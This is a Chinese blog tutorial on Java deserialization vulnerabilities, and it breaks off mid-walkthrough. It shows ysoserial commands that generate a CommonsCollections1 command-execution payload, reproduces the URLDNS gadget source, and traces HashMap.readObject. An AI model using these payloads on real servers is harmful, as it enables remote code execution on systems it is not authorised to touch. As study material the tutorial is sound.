Java安全[反序列化(2)]

Java漫谈学习

上一篇反序列化文章主要分析wirteObject和readObject这两个方法，

知道了序列化和反序列化的过程，漏洞形成的原因主要就是因为服务端进行反序列化数据时，会自动调用类中的readObject代码，这样就使得攻击者可以在服务器上执行一些恶意代码。

大致有四种情况会导致反序列化形成，

  • 入口类(主类)重写readObject方法，直接调用危险函数
  • 入口类的参数中包含可控类，该类中存在危险函数，readObject时调用
  • 入口类参数中包含可控类，该类调用其他有危险方法的类，readObject时进行调用
  • 构造函数/静态代码块等类加载时隐式执行

而入口类必须调用Serializable接口，不然该类无法被实例化，并且重写了readObject，可以构造利用链。

这篇讲述URLDNS，一步步学习，再学习cc链。

Java安全[反序列化(1)]

ysoserial

开篇先提及一个构造cc链最常见的工具ysoserial，关攻击者可以根据自身生成不同的利用链(Gadget Chain)，工具将链子进行反序列化，最后攻击者发送到目标服务器，从而引导服务器执行一些指令。

使用方法简单，如下是生成一个cc1的链子，执行命令为id

1
java -jar ./ysoserial-all.jar CommonsCollections1 "id"

image-20240105140302168

但是因为反序列化中会存在一些无法正常的显示的字符，所以一般会进行编码输出，

1
java -jar ./ysoserial-all.jar CommonsCollections1 "id" | base64 > 1.txt

image-20240105140517650

image-20240105140602101

URL DNS

urldns是一个测试反序列化漏洞的链子，其本身并不会执行命令，而是通过让目标服务器发送一次dns请求。虽然不能执行命令，但是在测试漏洞存在性有两个比较好的优势。

  • 使用Java内置类，不需要调用第三方的库。
  • 不需要服务器回显，直接通过dns请求情况来确定漏洞的存在。

查看URLDNS链生成代码，

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

注释解释很详细，

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //在payload创建期间避免DNS解析
                //由于字段 java.net.URL.handler 是临时的，因此它不会成为序列化payload的一部分。
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap会包含URL
                URL u = new URL(null, url, handler); // URL作为键
                ht.put(u, url); //值可以是可序列化的任何内容，URL作为键是触发DNS查找的内容。

                Reflections.setFieldValue(u, "hashCode", -1); // 在上面的放置过程中，计算并缓存URL的hashCode。这将对其进行重置，以便下一次调用hashCode时将触发DNS查找。

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * 这个URLStreamHandler实例用于在创建URL实例时避免任何DNS解析
         * DNS解析用于漏洞检测。重要的是不要预先探测给定的URL使用序列化对象
         *
         * <b>潜在失败的风险:</b>
         * 如果首先从测试计算机解析该DNS名称，则目标服务器可能会在第二次解析时才发送请求。
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

URLDNS利用链解析

可以看到URLDNS这里调用getObject方法读取一个字符串类型的参数url，也就是我们接收服务器DNS请求的url(通常是dnslog上获取的)

最后返回一个HashMap对象ht

1
2
3
4
5
6
7
8
public Object getObject(final String url) throws Exception {
        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap ht = new HashMap(); 
        URL u = new URL(null, url, handler);
        ht.put(u, url); 
        Reflections.setFieldValue(u, "hashCode", -1);
        return ht;
}

而这个HashMap对象也就是我们反序列化的对象，进行查看HashMap类的代码，因为java反序列化的关键是readObject，所以进一步分析HashMap类的readObject方法。

注，ysoserial是需要较低版本的java环境，高版本的java中HashMap的代码被重写过，我使用的版本是jdk1.8.0_171

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/**
  * Reconstitute the {@code HashMap} instance from a stream (i.e.,
  * deserialize it).
  */
 private void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException {
     // Read in the threshold (ignored), loadfactor, and any hidden stuff
     s.defaultReadObject();
     reinitialize();
     if (loadFactor <= 0 || Float.isNaN(loadFactor))
         throw new InvalidObjectException("Illegal load factor: " +
                                          loadFactor);
     s.readInt();                // Read and ignore number of buckets
     int mappings = s.readInt(); // Read number of mappings (size)
     if (mappings < 0)
         throw new InvalidObjectException("Illegal mappings count: " +
                                          mappings);
     else if (mappings > 0) { // (if zero, use defaults)
         // Size the table using given load factor only if within
         // range of 0.25...4.0
         float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
         float fc = (float)mappings / lf + 1.0f;
         int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                    DEFAULT_INITIAL_CAPACITY :
                    (fc >= MAXIMUM_CAPACITY) ?
                    MAXIMUM_CAPACITY :
                    tableSizeFor((int)fc));
         float ft = (float)cap * lf;
         threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                      (int)ft : Integer.MAX_VALUE);

         // Check Map.Entry[].class since it's the nearest public type to
         // what we're actually creating.
         SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
         @SuppressWarnings({"rawtypes","unchecked"})
         Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
         table = tab;

         // Read the keys and values, and put the mappings in the HashMap
         for (int i = 0; i < mappings; i++) {
             @SuppressWarnings("unchecked")
                 K key = (K) s.readObject();
             @SuppressWarnings("unchecked")
                 V value = (V) s.readObject();
             putVal(hash(key), key, value, false, false);
         }
     }
 }

利用链利用过程

在ysoserial的URLDNS利用链代码注释中，也说明了利用链的过程

  • Gadget Chain:
  • HashMap.readObject()
  • ​ HashMap.putVal()
  • ​ HashMap.hash()
  • ​ URL.hashCode()

原理简析，

HashMap类对readObject方法进行了重写，在进行反序列化时会调用hash函数计算键的

所以当触发HashMap.readObect()方法后，接着是到putVal()，也就是代码的45行，

1
putVal(hash(key), key, value, false, false);

进行调试，